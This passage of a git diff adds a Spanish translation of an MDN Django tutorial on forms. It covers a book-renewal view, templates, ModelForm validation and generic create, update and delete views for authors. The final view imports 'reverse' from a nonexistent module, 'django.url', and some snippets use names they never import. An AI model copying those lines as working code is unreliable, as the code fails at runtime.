+            book_inst.due_back = form.cleaned_data['renewal_date']
+            book_inst.save()
+
+            # redirect to a new URL:
+            return HttpResponseRedirect(reverse('all-borrowed') )
+
+    # If this is a GET (or any other method) create the default form.
+<strong>    else:</strong>
+        proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)
+        form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,})
+
+    return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre>
+
+<p>Primero importamos nuestro formulario (<code>RenewBookForm</code>) y una serie de otros objetos / métodos útiles utilizados en el cuerpo de la función de vista:</p>
+
+<ul>
+ <li><code><a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#get-object-or-404">get_object_or_404()</a></code>: Devuelve un objeto especificado de un modelo en función de su valor de clave principal y genera una excepción <code>Http404</code> (not found) si el registro no existe. </li>
+ <li><code><a href="https://docs.djangoproject.com/en/1.10/ref/request-response/#django.http.HttpResponseRedirect">HttpResponseRedirect</a></code>: Esto crea una redirección a una URL especificada (HTTP status code 302). </li>
+ <li><code><a href="https://docs.djangoproject.com/en/1.10/ref/urlresolvers/#django.urls.reverse">reverse()</a></code>: Esto genera una URL a partir de un nombre de configuración de URL y un conjunto de argumentos. Es el equivalente en Python de la etiqueta <code>url</code> que hemos estado usando en nuestras plantillas.</li>
+ <li><code><a href="https://docs.python.org/3/library/datetime.html">datetime</a></code>: Una libreria de Python para manejar las fechas y horas (dates and time). </li>
+</ul>
+
+<p>En la vista, primero usamos el argumento <code>pk</code> argument en  <code>get_object_or_404()</code> para obtener el actual <code>BookInstance</code> (si esto no existe, la vista se cerrará inmediatamente y la página mostrará un error "no encontrado"). Si no se trata de una solicitud POST (manejada por la cláusula else), creamos el formulario predeterminado que pasa un valor inicial (initial) para el campo renewal_date (como se muestra en negrita a continuación, esto es 3 semanas desde la fecha actual)..</p>
+
+<pre class="brush: python notranslate">    book_inst=get_object_or_404(BookInstance, pk = pk)
+
+    # If this is a GET (or any other method) create the default form
+    <strong>else:</strong>
+        proposed_renewal_date = datetime.date.today() + datetime.timedelta(<strong>weeks=3</strong>)
+        <strong>form = RenewBookForm(initial={'</strong>renewal_date<strong>': </strong>proposed_renewal_date<strong>,})</strong>
+
+    return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre>
+
+<p>Después de crear el formulario, llamamos <code>render()</code> para crear la página HTML, especificando la plantilla y un contexto que contiene nuestro formulario. En este caso, el contexto también contiene nuestro <code>BookInstance</code>, que usaremos en la plantilla para proporcionar información sobre el libro que estamos renovando.</p>
+
+<p>Sin embargo, si esto es una solicitud <code>POST</code>, entonces crearemos nuestro objeto <code>form</code> y llenarlo con datos de la solicitud. Este proceso se llama "enlace" (binding) y nos permite validar el formulario. Luego verificamos si el formulario es válido, que ejecuta todo el código de validación en todos los campos, incluido el código genérico para verificar que nuestro campo de fecha sea realmente una fecha válida y nuestra funcion del formulario <code>clean_renewal_date()</code> chequea la fecha que tenga un rango correcto. </p>
+
+<pre class="brush: python notranslate">    book_inst=get_object_or_404(BookInstance, pk = pk)
+
+    # If this is a POST request then process the Form data
+    if request.method == 'POST':
+
+        # Create a form instance and populate it with data from the request (binding):
+<strong>        form = RenewBookForm(request.POST)</strong>
+
+        # Check if the form is valid:
+        if form.is_valid():
+            # process the data in form.cleaned_data as required (here we just write it to the model due_back field)
+            book_inst.due_back = form.cleaned_data['renewal_date']
+            book_inst.save()
+
+            # redirect to a new URL:
+            return HttpResponseRedirect(reverse('all-borrowed') )
+
+    return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre>
+
+<p>Si el formulario no es válido llamamos <code>render()</code> de nuevo, pero esta vez el valor del formulario pasado en el contexto incluirá mensajes de error.</p>
+
+<p>Si el formulario es válido, entonces podemos comenzar a usar los datos, accediendo a ellos a través del atributo <code>form.cleaned_data</code> (ejemplo <code>data = form.cleaned_data['renewal_date']</code>). Aquí solo guardamos los datos en el valor <code>due_back</code> asociado al objeto <code>BookInstance</code>.</p>
+
+<div class="warning">
+<p><strong>Importante</strong>: Si bien también puede acceder a los datos del formulario directamente a través de la solicitud (por ejemplo <code>request.POST['renewal_date']</code> o <code>request.GET['renewal_date']</code> (si se esta usando una solicitud GET) esto NO es recomendable. Los datos limpios se desinfectan, validan y convierten en tipos compatibles con Python.</p>
+</div>
+
+<p>El paso final en la parte de manejo de formularios de la vista es redirigir a otra página, generalmente una página de "éxito". En este caso usamos <code>HttpResponseRedirect</code> y <code>reverse()</code> para redirigir a la vista llamada  <code>'all-borrowed'</code>(esto fue creado como el "desafío" en <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Django Tutorial Part 8: User authentication and permissions</a>).Si no creó esa página, considere redirigir a la página de inicio en la URL '/').</p>
+
+<p>Eso es todo lo necesario para el manejo del formulario en sí, pero aún debemos restringir el acceso a la vista a los bibliotecarios. Probablemente deberíamos crear un nuevo permiso en <code>BookInstance</code> ("<code>can_renew</code>"),pero para simplificar las cosas aquí solo usamos la funcion decorator <code>@permission_required</code>  con nuestro existente permiso <code>can_mark_returned</code>.</p>
+
+<p>La vista final es, por lo tanto, como se muestra a continuación. Copie esto en la parte inferior de <strong>locallibrary/catalog/views.py</strong>.</p>
+
+<pre class="notranslate"><strong>from django.contrib.auth.decorators import permission_required</strong>
+
+from django.shortcuts import get_object_or_404
+from django.http import HttpResponseRedirect
+from django.url import reverse
+import datetime
+
+from .forms import RenewBookForm
+
+<strong>@permission_required('catalog.<code>can_mark_returned</code>')</strong>
+def renew_book_librarian(request, pk):
+    """
+    View function for renewing a specific BookInstance by librarian
+    """
+    book_inst=get_object_or_404(BookInstance, pk = pk)
+
+    # If this is a POST request then process the Form data
+    if request.method == 'POST':
+
+        # Create a form instance and populate it with data from the request (binding):
+        form = RenewBookForm(request.POST)
+
+        # Check if the form is valid:
+        if form.is_valid():
+            # process the data in form.cleaned_data as required (here we just write it to the model due_back field)
+            book_inst.due_back = form.cleaned_data['renewal_date']
+            book_inst.save()
+
+            # redirect to a new URL:
+            return HttpResponseRedirect(reverse('all-borrowed') )
+
+    # If this is a GET (or any other method) create the default form.
+    else:
+        proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)
+        form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,})
+
+    return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})
+</pre>
+
+<h3 id="La_plantilla">La plantilla</h3>
+
+<p>Crea la plantilla html referenciada en la vista dentro del directorio (<strong>/catalog/templates/catalog/book_renew_librarian.html</strong>) y copia el codigo a continuacion dentro del archivo que creaste:</p>
+
+<pre class="brush: html notranslate">{% extends "base_generic.html" %}
+{% block content %}
+
+    &lt;h1&gt;Renew: \{{bookinst.book.title}}&lt;/h1&gt;
+    &lt;p&gt;Borrower: \{{bookinst.borrower}}&lt;/p&gt;
+    &lt;p{% if bookinst.is_overdue %} class="text-danger"{% endif %}&gt;Due date: \{{bookinst.due_back}}&lt;/p&gt;
+
+<strong>    &lt;form action="" method="post"&gt;
+        {% csrf_token %}
+        &lt;table&gt;
+        \{{ form }}
+        &lt;/table&gt;
+        &lt;input type="submit" value="Submit" /&gt;
+    &lt;/form&gt;</strong>
+
+{% endblock %}</pre>
+
+<p>La mayor parte de esto será completamente familiar de los tutoriales anteriores. Extendemos la plantilla base y luego redefinimos el bloque de contenido. Podemos hacer referencia<code>\{{bookinst}}</code> (y sus variables) porque se pasó al objeto de contexto en la funci'on <code>render()</code>,y los usamos para colocar el título del libro, el prestatario y la fecha de vencimiento original.</p>
+
+<p>El código del formulario es relativamente simple. Primero declaramos las etiquetas del <code>form</code>,especificando dónde se debe enviar el formulario (<code>action</code>) y el  <code>metodo</code> para enviar los datos (en este caso, una "POST HTTP"), si recuerda el <a href="#HTML_forms">HTML Forms</a> resumen en la parte superior de la página, un espacio vacío <code>action</code>como se muestra, significa que los datos del formulario se volverán a publicar en la URL actual de la página (¡que es lo que queremos!). Dentro de las etiquetas definimos la enntrada (input) <code>submit</code>, que un usuario puede presionar para enviar los datos. Esto <code>{% csrf_token %}</code> es agregado justo dentro de las etiquetas de formulario es parte de la protección de falsificación entre sitios de Django.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Agregue el {% csrf_token%} a cada plantilla de Django que cree que use POST para enviar datos. Esto reducirá la posibilidad de que usuarios malintencionados secuestran formularios.</p>
+</div>
+
+<p>Todo lo que queda es la variable de la plantilla  <code>\{{form}}</code>, <span class="tlid-translation translation" lang="es"><span title="">que pasamos a la plantilla en el diccionario de contexto.</span> <span title="">Quizás, como era de esperar, cuando se usa como se muestra, proporciona la representación predeterminada de todos los campos del formulario, incluidas sus etiquetas, widgets y texto de ayuda; la representación es la que se muestra a continuación:</span></span></p>
+
+<pre class="brush: html notranslate">&lt;tr&gt;
+  &lt;th&gt;&lt;label for="id_renewal_date"&gt;Renewal date:&lt;/label&gt;&lt;/th&gt;
+  &lt;td&gt;
+    &lt;input id="id_renewal_date" name="renewal_date" type="text" value="2016-11-08" required /&gt;
+    &lt;br /&gt;
+    &lt;span class="helptext"&gt;Enter date between now and 4 weeks (default 3 weeks).&lt;/span&gt;
+  &lt;/td&gt;
+&lt;/tr&gt;
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> <span class="tlid-translation translation" lang="es"><span title="">Quizás no sea obvio porque solo tenemos un campo, pero de forma predeterminada cada campo se define en su propia fila de tabla (razón por la cual la variable está dentro de la etiqueta</span></span> <code>table  </code>arriba).​​​​Esta misma representación (rendering) se proporciona si hace referencia a la variable de plantilla <code>\{{ form.as_table }}</code>.</p>
+</div>
+
+<p>Si tuviera que ingresar una fecha no válida, también obtendría una lista de los errores que se muestran en la página (en negrita a continuación).</p>
+
+<pre class="brush: html notranslate">&lt;tr&gt;
+  &lt;th&gt;&lt;label for="id_renewal_date"&gt;Renewal date:&lt;/label&gt;&lt;/th&gt;
+   &lt;td&gt;
+<strong>      &lt;ul class="errorlist"&gt;
+        &lt;li&gt;Invalid date - renewal in past&lt;/li&gt;
+      &lt;/ul&gt;</strong>
+      &lt;input id="id_renewal_date" name="renewal_date" type="text" value="2015-11-08" required /&gt;
+      &lt;br /&gt;
+      &lt;span class="helptext"&gt;Enter date between now and 4 weeks (default 3 weeks).&lt;/span&gt;
+    &lt;/td&gt;
+&lt;/tr&gt;</pre>
+
+<h4 id="Otras_formas_de_usar_variable_de_la_plantilla_de_formulario">Otras formas de usar variable de la plantilla de formulario</h4>
+
+<p>Usando <code>\{{form}}</code> como se muestra arriba, cada campo se representa como una fila de la tabla. También puede representar cada campo como un elemento de la lista (usando <code>\{{form.as_ul}}</code> ) o como un parrafo (usando <code>\{{form.as_p}}</code>).</p>
+
+<p>Lo que es aún más genial es que puede tener un control completo sobre la representación de cada parte del formulario, indexando sus propiedades mediante la notación de puntos. Entonces, por ejemplo, podemos acceder a una serie de elementos separados de los campos de <code>renewal_date</code>-</p>
+
+<ul>
+ <li><code>\{{form.renewal_date}}:</code> The whole field.</li>
+ <li><code>\{{form.renewal_date.errors}}</code>: The list of errors.</li>
+ <li><code>\{{form.renewal_date.id_for_label}}</code>: The id of the label.</li>
+ <li><code>\{{form.renewal_date.help_text}}</code>: The field help text.</li>
+ <li>etc!</li>
+</ul>
+
+<p>Para obtener más ejemplos de cómo reproducir manualmente los formularios en plantillas y recorrer dinámicamente los campos de la plantilla, vea <a href="https://docs.djangoproject.com/en/1.10/topics/forms/#rendering-fields-manually">Working with forms &gt; Rendering fields manually</a> (Django docs).</p>
+
+<h3 id="Probando_la_página">Probando la página</h3>
+
+<p>Si aceptó el "desafío" en <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Django Tutorial Part 8: User authentication and permissions</a> tendrá una lista de todos los libros prestados en la biblioteca, que solo es visible para el personal de la biblioteca. Podemos agregar un enlace a nuestra página de renovación al lado de cada artículo usando el código de plantilla a continuación.</p>
+
+<pre class="brush: html notranslate">{% if perms.catalog.can_mark_returned %}- &lt;a href="{% url 'renew-book-librarian' bookinst.id %}"&gt;Renew&lt;/a&gt;  {% endif %}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Recuerde que su inicio de sesión de prueba deberá tener el permiso "<code>catalog.can_mark_returned</code>" para acceder a la página de renovar el libro (quizás use su cuenta de superusuario).</p>
+</div>
+
+<p>Alternativamente, puede construir manualmente una URL de prueba como esta — <a href="http://127.0.0.1:8000/catalog/book/&lt;bookinstance id>/renew/">http://127.0.0.1:8000/catalog/book/<em>&lt;bookinstance_id&gt;</em>/renew/</a> (se puede obtener un ID de instancia de libro válido navegando a la página de detalles de un libro en su biblioteca y copiando el campo <code>id</code>).</p>
+
+<h3 id="Como_se_ve">Como se ve?</h3>
+
+<p>Si tiene éxito, el formulario predeterminado se verá así:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14209/forms_example_renew_default.png" style="border-style: solid; border-width: 1px; display: block; height: 292px; margin: 0px auto; width: 680px;"></p>
+
+<p>El formulario con un valor no válido ingresado se verá así:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14211/forms_example_renew_invalid.png" style="border-style: solid; border-width: 1px; display: block; height: 290px; margin: 0px auto; width: 658px;"></p>
+
+<p>La lista de todos los libros con enlaces renovados se verá así:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14207/forms_example_renew_allbooks.png" style="border-style: solid; border-width: 1px; display: block; height: 256px; margin: 0px auto; width: 613px;"></p>
+
+<h2 id="ModelForms">ModelForms</h2>
+
+<p>Crear una clase <code>Form</code> utilizando el enfoque descrito anteriormente es muy flexible, lo que le permite crear cualquier tipo de página de formulario que desee y asociarla con cualquier modelo o modelos.</p>
+
+<p>Sin embargo, si solo necesita un formulario para asignar los campos de un solo modelo, entonces su modelo ya definirá la mayor parte de la información que necesita en su formulario: campos, etiquetas, texto de ayuda, etc. En lugar de recrear las definiciones de modelo en su formulario , es más fácil usar una clase auxiliar <a href="https://docs.djangoproject.com/en/1.10/topics/forms/modelforms/">ModelForm</a> para crear el formulario a partir de su modelo. El  <code>ModelForm</code> puede usarse dentro de sus vistas exactamente de la misma manera que un ordinario <code>Form</code>.</p>
+
+<p>Un <code>ModelForm</code> que contiene el mismo campo que nuestro original <code>RenewBookForm</code>se muestra a continuación. Todo lo que necesita hacer para crear el formulario es agregar <code>class Meta</code> with the associated <code>model</code> (<code>BookInstance</code>) y una lista de los campos del  modelo <code>fields</code>para incluir en el formulario (puede incluir todos los campos usando <code>fields = '__all__'</code>, o puedes usar <code>exclude</code> (en vez de <code>fields</code>) para especificar los campos que no se incluirán del modelo).</p>
+
+<pre class="brush: python notranslate">from django.forms import ModelForm
+from .models import BookInstance
+
+class RenewBookModelForm(ModelForm):
+<strong>    class Meta:
+        model = BookInstance
+        fields = ['due_back',]</strong>
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Esto podría no parece mucho más simple que simplemente usar un <code>Form</code>(y no es en este caso, porque solo tenemos un campo). Sin embargo, si tiene muchos campos, puede reducir la cantidad de código de manera bastante significativa.</p>
+</div>
+
+<p>El resto de la información proviene de las definiciones de campo del modelo (por ejemplo, etiquetas, widgets, texto de ayuda, mensajes de error). Si estos no son del todo correctos, entonces podemos anularlos en nuestro <code>class Meta</code>, especificando un diccionario que contiene el campo a cambiar y su nuevo valor. Por ejemplo, en este formulario podríamos querer una etiqueta para nuestro campo de "Fecha de renovación" (en lugar del valor predeterminado basado en el nombre del campo: Fecha de vencimiento), y también queremos que nuestro texto de ayuda sea específico para este caso de uso. El <code>Meta</code> a continuación le muestra cómo anular estos campos, y puede configurar de manera similar <code>widgets</code> y <code>error_messages</code> si los valores predeterminados no son suficientes.</p>
+
+<pre class="brush: python notranslate">class Meta:
+    model = BookInstance
+    fields = ['due_back',]
+<strong>    labels = { 'due_back': _('Renewal date'), }
+    help_texts = { 'due_back': _('Enter a date between now and 4 weeks (default 3).'), } </strong>
+</pre>
+
+<p>Para agregar validación, puede usar el mismo enfoque que para un normal <code>Form</code> — define una función llamada <code>clean_<em>field_name</em>()</code> y coloca (raise)  <code>ValidationError</code> excepciones para valores no válidos. La única diferencia con respecto a nuestro formulario original es que el campo modelo se llama <code>due_back</code> y no "<code>renewal_date</code>".</p>
+
+<pre class="brush: python notranslate">from django.forms import ModelForm
+from .models import BookInstance
+
+class RenewBookModelForm(ModelForm):
+<strong>    def clean_due_back(self):
+       data = self.cleaned_data['due_back']
+
+       #Check date is not in past.
+       if data &lt; datetime.date.today():
+           raise ValidationError(_('Invalid date - renewal in past'))
+
+       #Check date is in range librarian allowed to change (+4 weeks)
+       if data &gt; datetime.date.today() + datetime.timedelta(weeks=4):
+           raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead'))
+
+       # Remember to always return the cleaned data.
+       return data
+</strong>
+    class Meta:
+        model = BookInstance
+        fields = ['due_back',]
+        labels = { 'due_back': _('Renewal date'), }
+        help_texts = { 'due_back': _('Enter a date between now and 4 weeks (default 3).'), }
+</pre>
+
+<p>La clase <code>RenewBookModelForm</code> a continuación es ahora funcionalmente equivalente a nuestro original <code>RenewBookForm</code>. Puede importarlo y usarlo donde quiera que lo use actualmente <code>RenewBookForm</code>.</p>
+
+<h2 id="Vistas_de_edición_genéricas">Vistas de edición genéricas</h2>
+
+<p>El algoritmo de manejo de formularios que utilizamos en nuestro ejemplo de vista de funciones anterior representa un patrón extremadamente común en las vistas de edición de formularios. Django extrae gran parte de esta "plantilla" para ti, para crear vistas de edición genéricas ( <a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/">generic editing views</a> ) para crear, editar y eliminar vistas basadas en modelos. No solo manejan el comportamiento de "vista", sino que crean automáticamente la clase de formulario (un <code>ModelForm</code>) para tu modelo.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Además de las vistas de edición descritas aquí, también hay una clase <a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/#formview">FormView</a> , que se encuentra en algún lugar entre nuestra vista de función y las otras vistas genéricas en términos de "flexibilidad" frente a "esfuerzo de codificación". Usando <code>FormView</code> tu necesitas crear el <code>Form</code>, pero no tiene que implementar todo el patrón estándar de manejo de formularios. En su lugar, solo tiene que proporcionar una implementación de la función que se llamará una vez que se sepa que el envío es válido.</p>
+</div>
+
+<p>En esta sección, vamos a usar vistas de edición genéricas para crear páginas para agregar funcionalidad para crear, editar y eliminar registros de <code>Author</code> de nuestra libreria — Proporcionar efectivamente una reimplementación básica de partes del sitio de administración (esto podría ser útil si necesita ofrecer la funcionalidad de administrador de una manera más flexible que puede proporcionar el sitio de administrador).</p>
+
+<h3 id="Views">Views</h3>
+
+<p>Abre el archivo de vistas (<strong>locallibrary/catalog/views.py</strong>) y agregue el siguiente bloque de código al final:</p>
+
+<pre class="brush: python notranslate">from django.views.generic.edit import CreateView, UpdateView, DeleteView
+from django.urls import reverse_lazy
+from .models import Author
+
+class AuthorCreate(CreateView):
+    model = Author
+    fields = '__all__'
+    initial={'date_of_death':'05/01/2018',}
+
+class AuthorUpdate(UpdateView):
+    model = Author
+    fields = ['first_name','last_name','date_of_birth','date_of_death']
+
+class AuthorDelete(DeleteView):
+    model = Author
+    success_url = reverse_lazy('authors')</pre>
+
+<p>Como puede ver, para crear las vistas de las que necesita derivar <code>CreateView</code>, <code>UpdateView</code>, y <code>DeleteView</code> (respectivamente) y luego definir el modelo asociado.</p>
+
+<p>Para los casos de "crear" y "actualizar", también debe especificar los campos para mostrar en el formulario (utilizando la misma sintaxis que para <code>ModelForm</code>). En este caso, mostramos la sintaxis para mostrar "todos" los campos y cómo puede enumerarlos individualmente. También puede especificar valores iniciales para cada uno de los campos utilizando un diccionario de pares nombre_campo / valor (aquí establecemos arbitrariamente la fecha de fallecimiento para fines de demostración; ¡es posible que desee eliminar eso!). Por defecto, estas vistas redirigirán en caso de éxito a una página que muestre el elemento del modelo recién creado / editado, que en nuestro caso será la vista detallada del autor que creamos en un tutorial anterior. Puede especificar una ubicación alternativa de redireccionamiento declarando explícitamente el parámetro <code>success_url</code> (como hecho en la clase <code>AuthorDelete</code> ).</p>
+
+<p>La clase <code>AuthorDelete</code> no necesita mostrar ninguno de los campos, por lo que no es necesario especificarlos. Sin embargo, debe especificar el <code>success_url</code>, porque no hay un valor predeterminado obvio para que Django lo use. En este caso usamos la función <code><a href="https://docs.djangoproject.com/en/1.10/ref/urlresolvers/#reverse-lazy">reverse_lazy()</a></code> para redirigir a nuestra lista de autores después de que un autor ha sido eliminado — <code>reverse_lazy()</code> is a lazily executed version of <code>reverse()</code>, se usa aquí porque estamos proporcionando una URL a un atributo de vista basado en clases.</p>
+
+<h3 id="Templates_-_Plantillas">Templates - Plantillas</h3>
+
+<p>Las vistas "create" y "update" utilizan la misma plantilla de forma predeterminada, que se nombrará después de su model: <em>model_name</em><strong>_form.html</strong> (puedes cambiar el sufijo a algo diferente a <strong>_form</strong> usando el campo  <code>template_name_suffix</code>en tu vista, ejemplo: <code>template_name_suffix = '_other_suffix'</code>)</p>
+
+<p>Crea la siguiente plantilla <strong>locallibrary/catalog/templates/catalog/author_form.html </strong> y copia el siguiente texto:</p>
+
+<pre class="brush: html notranslate">{% extends "base_generic.html" %}
+
+{% block content %}
+
+&lt;form action="" method="post"&gt;
+    {% csrf_token %}
+    &lt;table&gt;
+    \{{ form.as_table }}
+    &lt;/table&gt;
+    &lt;input type="submit" value="Submit" /&gt;
+
+&lt;/form&gt;
+{% endblock %}</pre>
+
+<p>Esto es similar a nuestros formularios anteriores y representa los campos usando una tabla. Tenga en cuenta también cómo declaramos nuevamente<code>{% csrf_token %}</code> para garantizar que nuestros formularios sean resistentes a los ataques CSRF.</p>
+
+<p>La vista "delete" espera encontrar una plantilla con el formato <em>model_name</em><strong>_confirm_delete.html</strong> (de nuevo, puedes cambiar el sufijo usando <code>template_name_suffix</code> en tu vista). Crea la siguiente plantilla <strong>locallibrary/catalog/templates/catalog/author_confirm_delete.html</strong> y copia en el texto a continuación.</p>
+
+<pre class="brush: html notranslate">{% extends "base_generic.html" %}
+
+{% block content %}
+
+&lt;h1&gt;Delete Author&lt;/h1&gt;
+
+&lt;p&gt;Are you sure you want to delete the author: \{{ author }}?&lt;/p&gt;
+
+&lt;form action="" method="POST"&gt;
+  {% csrf_token %}
+  &lt;input type="submit" action="" value="Yes, delete." /&gt;
+&lt;/form&gt;
+
+{% endblock %}
+</pre>
+
+<h3 id="Configuración_de_URL">Configuración de URL</h3>
+
+<p>Abra el archivo de configuración de URL (<strong>locallibrary/catalog/urls.py</strong>) y agregue la siguiente configuración al final del archivo:</p>
+
+<pre class="brush: python notranslate">urlpatterns += [
+    url(r'^author/create/$', views.AuthorCreate.as_view(), name='author_create'),
+    url(r'^author/(?P&lt;pk&gt;\d+)/update/$', views.AuthorUpdate.as_view(), name='author_update'),
+    url(r'^author/(?P&lt;pk&gt;\d+)/delete/$', views.AuthorDelete.as_view(), name='author_delete'),
+]</pre>
+
+<p>¡No hay nada particularmente nuevo aquí! Puede ver que las vistas son clases y, por lo tanto, deben llamarse a través de <code>.as_view()</code>,y deberías poder reconocer los patrones de URL en cada caso. Debemos usar <code>pk</code> como el nombre de nuestro valor de clave principal (primary key) capturado, ya que este es el nombre del parámetro esperado por las clases de vista.</p>
+
+<p>Las páginas de crear, actualiza y eliminar autor ahora estan listas para probar (no nos molestaremos en engancharlas en la barra lateral del sitio en este caso, aunque puede hacerlo si lo desea).</p>
+
+<div class="note">
+<p><strong>Nota</strong>:¡Los usuarios observadores habrán notado que no hicimos nada para evitar que usuarios no autorizados accedan a las páginas! Lo dejamos como un ejercicio para usted (pista: puede usar el <code>PermissionRequiredMixin</code> y cree un nuevo permiso o reutilice nuestro permiso <code>can_mark_returned</code> ).</p>
+</div>
+
+<h3 id="Probando_la_página_2">Probando la página</h3>
+
+<p>Primero inicie sesión en el sitio con una cuenta que tenga los permisos que haya decidido que se necesitan para acceder a las páginas de edición del autor.</p>
+
+<p>Luego navegue a la página de creación del autor: <a href="http://127.0.0.1:8000/catalog/author/create/">http://127.0.0.1:8000/catalog/author/create/</a>, que debería verse como la captura de pantalla a continuación.</p>
+
+<p><img alt="Form Example: Create Author" src="https://mdn.mozillademos.org/files/14223/forms_example_create_author.png" style="border-style: solid; border-width: 1px; display: block; height: 184px; margin: 0px auto; width: 645px;"></p>
+
+<p>Ingrese los valores para los campos y luego presione <strong>Submit</strong> para guardar el registro del autor. Ahora debería ser llevado a una vista detallada para su nuevo autor, con una URL de algo como <em>http://127.0.0.1:8000/catalog/author/10</em>.</p>
+
+<p>Puede probar la edición de registros agregando <em>/update/</em> hasta el final de la vista detallada URL (e.g. <em>http://127.0.0.1:8000/catalog/author/10/update/</em>) — no mostramos una captura de pantalla, porque se parece a la página "create".</p>
+
+<p>Por último, podemos eliminar el autor, agregando eliminar (delete) al final de la vista detallada del autor URL (ejemplo. <em>http://127.0.0.1:8000/catalog/author/10/delete/</em>). Django debería mostrar la página de eliminación que se muestra a continuación. pulse <strong>Yes, delete.</strong> para eliminar el registro y ser llevado a la lista de todos los autores.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14221/forms_example_delete_author.png" style="border-style: solid; border-width: 1px; display: block; height: 194px; margin: 0px auto; width: 561px;"></p>
+
+<h2 id="Retarte_a_ti_mismo">Retarte a ti mismo</h2>
+
+<p>Crea algunos formularios para crear, editar y eliminar registros de <code>Book</code>.Puede usar exactamente la misma estructura de <code>Authors</code>. Si tu plantilla  <strong>book_form.html</strong> es solo una versión renombrada de la copia de la plantilla   <strong>author_form.html</strong>, entonces la nueva página "crear libro" se verá como la captura de pantalla a continuación:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14225/forms_example_create_book.png" style="border-style: solid; border-width: 1px; display: block; height: 521px; margin: 0px auto; width: 595px;"></p>
+
+<ul>
+</ul>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>¡Crear y manejar formularios puede ser un proceso complicado! Django lo hace mucho más fácil al proporcionar mecanismos programáticos para declarar, representar y validar formularios. Además, Django proporciona vistas genéricas de edición de formularios que pueden hacer casi todo el trabajo para definir páginas que pueden crear, editar y eliminar registros asociados con una sola instancia de modelo.</p>
+
+<p>Hay mucho más que se puede hacer con los formularios (consulte nuestra lista Vea también a continuación), pero ahora debe comprender cómo agregar formularios básicos y código de manejo de formularios a sus propios sitios web.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/forms/">Working with forms</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial04/#write-a-simple-form">Writing your first Django app, part 4 &gt; Writing a simple form</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/api/">The Forms API</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/">Form fields</a> (Django docs) </li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/validation/">Form and field validation</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-editing/">Form handling with class-based views</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/forms/modelforms/">Creating forms from models</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/">Generic editing views</a> (Django docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/authentication", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/es/learn/server-side/django/generic_views/index.html b/files/es/learn/server-side/django/generic_views/index.html
new file mode 100644
index 0000000000..7eb6830a87
--- /dev/null
+++ b/files/es/learn/server-side/django/generic_views/index.html
@@ -0,0 +1,640 @@
+---
